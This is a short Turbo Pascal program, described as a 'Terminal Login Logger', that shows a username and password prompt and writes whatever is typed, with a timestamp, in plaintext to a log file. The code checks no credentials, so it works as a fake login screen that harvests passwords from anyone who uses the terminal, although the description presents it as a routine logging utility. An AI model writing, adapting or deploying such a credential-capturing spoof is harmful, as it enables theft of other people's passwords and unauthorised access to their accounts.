Terminal Login Logger

A command-line utility that logs terminal login sessions. Takes a log file path as a parameter, creates or appends to the file, records timestamp, username, and password. Uses DOS unit for date/time functions and file operations.

Source Code:

program terminal;
uses Dos;

const
  days : array [0..6] of String[9] = ('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday');
var
fil,user,pass:string;
f:text;
y, m, d, dow,  h, min, s, hund	: Word;

procedure TimeStamp;
begin
  GetDate(y,m,d,dow); GetTime(h,min,s,hund);
  Writeln(f,'Called at ', days[dow],', ', m,'/',d,'/',y,' - ',h,':',min,':',s,'.',hund);
end;

procedure Create; forward;

procedure Openf;
begin
{$I-}
Append(f);
{$I+}
if IOResult<>0 then Create;
end;

procedure Create;
begin
ReWrite(f);
Openf;
end;

begin
If  ParamCount = 1 then
    begin
    Assign(f,ParamStr(1));
    Openf;
    TimeStamp;
    Write('Username:'); Readln(user);
    WriteLn(f,'Username: ',user);
    Writeln;
    Write('User password:'); Readln(pass);
    Writeln(f,'User password: ',pass);
    Close(f)
end
else
begin
     WriteLn('Wrong parameter!!! It must be path to log file!!!');
     Halt(1);
end;
end.